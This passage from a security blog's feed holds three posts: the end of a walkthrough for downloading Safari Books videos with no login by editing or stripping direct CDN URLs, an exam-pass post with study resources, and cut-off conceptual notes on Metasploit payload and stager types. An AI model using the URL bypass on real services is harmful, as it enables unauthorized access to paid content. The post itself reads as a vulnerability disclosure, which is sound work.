src="http://1.bp.blogspot.com/-bVRqVnO22Ls/Tx1H5fMrh7I/AAAAAAAAAwg/rL-IU2L77sc/s640/safari-directlinkreceived.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;You can now use FlashGet to download it.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-ucfP7tXep8o/Tx1ItgwK4gI/AAAAAAAAAwo/vh9_pcGnT60/s1600/safari-flashget-dl.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;img border="0" height="134" src="http://3.bp.blogspot.com/-ucfP7tXep8o/Tx1ItgwK4gI/AAAAAAAAAwo/vh9_pcGnT60/s640/safari-flashget-dl.png" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;For other parts of the video series, simply modify the parameters in the download URL:&lt;/span&gt;&lt;/div&gt;&lt;blockquote class="tr_bq" style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;http://safari.vo.llnwd.net/kip0/_pxn=1+_pxI0=Ripod-h264+_pxL0=undefined+_pxM0=+_pxK=19616/mobile/s/&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;BBBBB&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;/&lt;/span&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;a01.mp4&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;?AccountId=XXXXX&amp;amp;UserId=YYYYY&amp;amp;e=1327343958&amp;amp;Fpid=&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;BBBBB&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;amp;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;ClipId=a01&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;amp;source=mui&amp;amp;h=ZZZZZ&amp;amp;source=mui&amp;amp;e=AAAAA&amp;amp;h=&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;ZZZZZ&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;amp;ClipId=a01&amp;amp;AccountId=&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;XXXXX&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;amp;UserId=&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;YYYYY&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;amp;Fpid=&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;BBBBB&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;For video #2, the URL becomes:&lt;/span&gt;&lt;/div&gt;&lt;blockquote class="tr_bq" style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;http://safari.vo.llnwd.net/kip0/_pxn=1+_pxI0=Ripod-h264+_pxL0=undefined+_pxM0=+_pxK=19616/mobile/s/&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;BBBBB&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;/&lt;/span&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;a02.mp4&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;?AccountId=XXXXX&amp;amp;UserId=YYYYY&amp;amp;e=1327343958&amp;amp;Fpid=&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;BBBBB&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;amp;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;ClipId=a02&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;amp;source=mui&amp;amp;h=ZZZZZ&amp;amp;source=mui&amp;amp;e=AAAAA&amp;amp;h=&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;ZZZZZ&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;amp;ClipId=a01&amp;amp;AccountId=&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;XXXXX&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;amp;UserId=&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;YYYYY&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;amp;Fpid=&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;BBBBB&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;And so on...&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Actually, as you will find out eventually, that FlashGet can download the file, without needing any URL parameters:&lt;/div&gt;&lt;/span&gt;&lt;blockquote class="tr_bq"&gt;&lt;span class="Apple-style-span" style="color: lime; font-family: 'Trebuchet MS', sans-serif;"&gt;http://safari.vo.llnwd.net/kip0/_pxn=1+_pxI0=Ripod-h264+_pxL0=undefined+_pxM0=+_pxK=19616/mobile/s/BBBBB/a03.mp4&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-idaHfo511UI/Tx1KMUO8GeI/AAAAAAAAAww/lcydYfXF9Wc/s1600/safari-flashget-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;img border="0" height="144" src="http://4.bp.blogspot.com/-idaHfo511UI/Tx1KMUO8GeI/AAAAAAAAAww/lcydYfXF9Wc/s640/safari-flashget-2.png" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;You can also use Firefox or Opera. Both of them do&amp;nbsp;&lt;b&gt;NOT&lt;/b&gt; ask for any authentication when the video URL is entered.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;You can use any firefox video downloader extension like &lt;a href="http://www.ant.com/video-downloader" target="_blank"&gt;Ant Video Downloader&lt;/a&gt; to download the video.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;This implies that if one can gain knowledge of a URL, perhaps from someone who has an account on Safari, and who can access a video resource, anyone may be able to download the videos.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Also, since we were able to strip off all parameters such as AccountId, UserID etc, and still got a proper file as server response when using a different browser afresh - firefox/opera, how might safari be tracking whether the request was legit or not, i.e. was the request sent by an authenticated AND an authorized user? Certainly doesn't look like they do!&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;A&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&amp;nbsp;review of AAA controls of the download site could be a start for Safari.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;.....&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;KG&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-391668725585140369?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/391668725585140369/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2012/01/hack-safaribooks-video-downloads.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/391668725585140369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/391668725585140369'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2012/01/hack-safaribooks-video-downloads.html' title='Hack Safaribooks video downloads'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-Ku-RPS50M80/Tx1Dt0uGMYI/AAAAAAAAAwA/BwkcfmO3xWw/s72-c/safari-login.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-2349724946828755694</id><published>2012-01-21T13:45:00.000+05:30</published><updated>2012-01-30T01:09:27.468+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='GWAPT Exam'/><category scheme='http://www.blogger.com/atom/ns#' term='OWASP'/><category scheme='http://www.blogger.com/atom/ns#' term='Passed GWAPT'/><category scheme='http://www.blogger.com/atom/ns#' term='GIAC'/><category scheme='http://www.blogger.com/atom/ns#' term='Web Application Penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='SANS 542'/><category scheme='http://www.blogger.com/atom/ns#' term='Ethical Hacking'/><title type='text'>Passed GIAC GWAPT Exam</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Hi dears,&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;I just wanted to share first update of this year.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;I sat for &amp;amp; passed the&amp;nbsp;&lt;a href="http://www.giac.org/certification/web-application-penetration-tester-gwapt" target="_blank"&gt;SANS GIAC Web Application Penetration Testing - GWAPT&lt;/a&gt; - exam on January 14, 2012. I found the exam was pretty tough as compared to the previous GIAC exams I had attempted - &lt;a href="http://ipositivesecurity.blogspot.com/2011/03/passed-giac-gpen-today.html" target="_blank"&gt;GPEN&lt;/a&gt;, &lt;a href="http://ipositivesecurity.blogspot.com/2011/04/passed-giac-gcih.html" target="_blank"&gt;GCIH&lt;/a&gt;, and &lt;a href="http://ipositivesecurity.blogspot.com/2011/06/passed-giac-grem_21.html" target="_blank"&gt;GREM&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;I have been doing web app pentesting for a while. So, most of the tested topics were not new to me. I did a self-study for this exam. I used the following study resources to prepare:&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1. SANS GPEN course material&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;2. &lt;a href="http://www.owasp.org/" target="_blank"&gt;OWASP&lt;/a&gt; - this site has a lot of good, relevant information on a majority of web app topics.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;3.&amp;nbsp;&lt;a href="http://www.amazon.com/gp/product/0470170778/ref=as_li_tf_tl?ie=UTF8&amp;amp;tag=ipositiv0f-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=0470170778" target="_blank"&gt;Web Application Hacker's handbook&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;4. &lt;a href="http://www.amazon.com/gp/product/1597494240/ref=as_li_tf_tl?ie=UTF8&amp;amp;tag=ipositiv0f-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=1597494240" target="_blank"&gt;SQL Injection - Attacks &amp;amp; Defense by Justin Clarke&lt;/a&gt; - A superb book for injection attacks.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;iframe frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="http://rcm.amazon.com/e/cm?t=ipositiv0f-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=as1&amp;amp;asins=0470170778&amp;amp;ref=tf_til&amp;amp;fc1=000000&amp;amp;IS2=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=000000&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="height: 240px; width: 120px;"&gt;&lt;/iframe&gt;&lt;iframe class="ap_never_hide" frameborder="0" id="served_preview" marginheight="0" marginwidth="0" scrolling="no" src="https://rcm.amazon.com/e/cm?t=ipositiv0f-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=as1&amp;amp;asins=1597494240&amp;amp;ref=tf_til&amp;amp;fc1=000000&amp;amp;IS2=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=000000&amp;amp;bg1=FFFFFF&amp;amp;internal=1&amp;amp;f=ifr" style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px; height: 240px; text-align: center; width: 120px;"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;5. &lt;a href="http://www.backtrack-linux.org/" target="_blank"&gt;Backtrack&lt;/a&gt; - Specifically for any or all related tools - load it up &amp;amp; practice various web app testing related tools on this dist.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;6. Google - Yeah, search out specific topics, terms, video tutorials, tool demonstrations. This is significant especially if you choose to take the self-study route.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;7. Misc Notes - some random, personal notes on various topics.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;I know it's not easy to take out 4000+ usd for official course materials. I hope this info will help someone planning self-study to tame this beast.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;As always, let me know if you have any questions. I will be glad to help.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;KG&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-2349724946828755694?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/2349724946828755694/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2012/01/passed-giac-gwapt.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/2349724946828755694'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/2349724946828755694'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2012/01/passed-giac-gwapt.html' title='Passed GIAC GWAPT Exam'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-1660636286019827295</id><published>2011-12-25T18:58:00.000+05:30</published><updated>2012-01-30T01:12:16.990+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='self-contained payloads'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit modules'/><category scheme='http://www.blogger.com/atom/ns#' term='stage'/><category scheme='http://www.blogger.com/atom/ns#' term='standalone payloads'/><category scheme='http://www.blogger.com/atom/ns#' term='Payloads'/><category scheme='http://www.blogger.com/atom/ns#' term='single payloads'/><category scheme='http://www.blogger.com/atom/ns#' term='Quick Notes'/><category scheme='http://www.blogger.com/atom/ns#' term='stager'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploits'/><title type='text'>[Quick notes] Metasploit payload types</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;To start with, a vulnerability is a weakness in the target system which creates a security risk - that it can be exploited.&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;An exploit is a way, a piece of code that can trigger &amp;amp; take advantage of a vulnerability.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;A payload is the actual component in the attack which '&lt;u&gt;do&lt;/u&gt;' things for an attacker.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Therefore, a payload must have at least 2 components in it:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;1. &lt;span class="Apple-style-span" style="color: yellow;"&gt;Communications capability&lt;/span&gt; - set up communication channel for the attacker&lt;/div&gt;&lt;div style="text-align: justify;"&gt;2. &lt;span class="Apple-style-span" style="color: yellow;"&gt;Functionality&lt;/span&gt; - defines what all actions an attacker can perform&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Metasploit provides 2 types of payloads:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;1. Single / Stand-alone / Self-contained&lt;/div&gt;&lt;div style="text-align: justify;"&gt;2. Staged [Stager + Stage]&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Here,&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Stager = communication module&lt;/div&gt;&lt;div style="text-align: justify;"&gt;And&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Stage = functionality&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;div style="text-align: justify;"&gt;A full payload = Stager + Stage&lt;/div&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Self-contained payloads have both Stager &amp;amp; Stage &lt;u&gt;already&lt;/u&gt; bundled together. These payloads include all functionality to load itself into the memory, set up communication channel for the attacker, and lastly provide attacker with the environment &amp;amp; command capability to interact with the compromised system.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;A few examples of single / self-contained payloads are:&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;exec -&amp;gt; runs a command&lt;br /&gt;adduser -&amp;gt; creates a new local user and add it to local administrator group&lt;br /&gt;shell_bind_tcp / shell_reverse_tcp -&amp;gt; sets up a standard TCP bind / reverse listener&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;In contrast to self-contained payloads, Staged payloads function in a slightly different manner.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;A Staged payload constitutes of a Stager and a Stage. These 2 components are &lt;u&gt;NOT&lt;/u&gt; bundled together. An attacker can specify a stager and a stage independently.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;When a vulnerability is exploited successfully, the Stager component goes first as payload. The stager is responsible for uploading the Stage next, and to set up communications channel for the stage so that attacker can interact with it.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Let's look for Stagers and Stages in the Metasploit directories..&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Java Stagers&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;ls /opt/msfo/msf3/modules/payloads/stagers/java/&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;bind_tcp.rb  reverse_http.rb  reverse_tcp.rb&lt;/div&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;ls -R /opt/msfo/msf3/modules/payloads/stagers/linux/&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;/opt/msfo/msf3/modules/payloads/stagers/linux/:&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;x64  x86&lt;/div&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;/opt/msfo/msf3/modules/payloads/stagers/linux/x64:&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;bind_tcp.rb  reverse_tcp.rb&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;/opt/msfo/msf3/modules/payloads/stagers/linux/x86:&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;bind_ipv6_tcp.rb  bind_tcp.rb  find_tag.rb  reverse_ipv6_tcp.rb  reverse_tcp.rb&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;ls -R /opt/msfo/msf3/modules/payloads/stagers/windows/&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;/opt/msfo/msf3/modules/payloads/stagers/windows/:&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;div style="text-align: justify;"&gt;bind_ipv6_tcp.rb  reverse_http.rb      reverse_ord_tcp.rb       x64&lt;/div&gt;&lt;div style="text-align: justify;"&gt;bind_nonx_tcp.rb  reverse_https.rb     reverse_tcp_allports.rb&lt;/div&gt;&lt;div style="text-align: justify;"&gt;bind_tcp.rb       reverse_ipv6_tcp.rb  reverse_tcp_dns.rb&lt;/div&gt;&lt;div style="text-align: justify;"&gt;findtag_ord.rb    reverse_nonx_tcp.rb  reverse_tcp.rb&lt;/div&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', 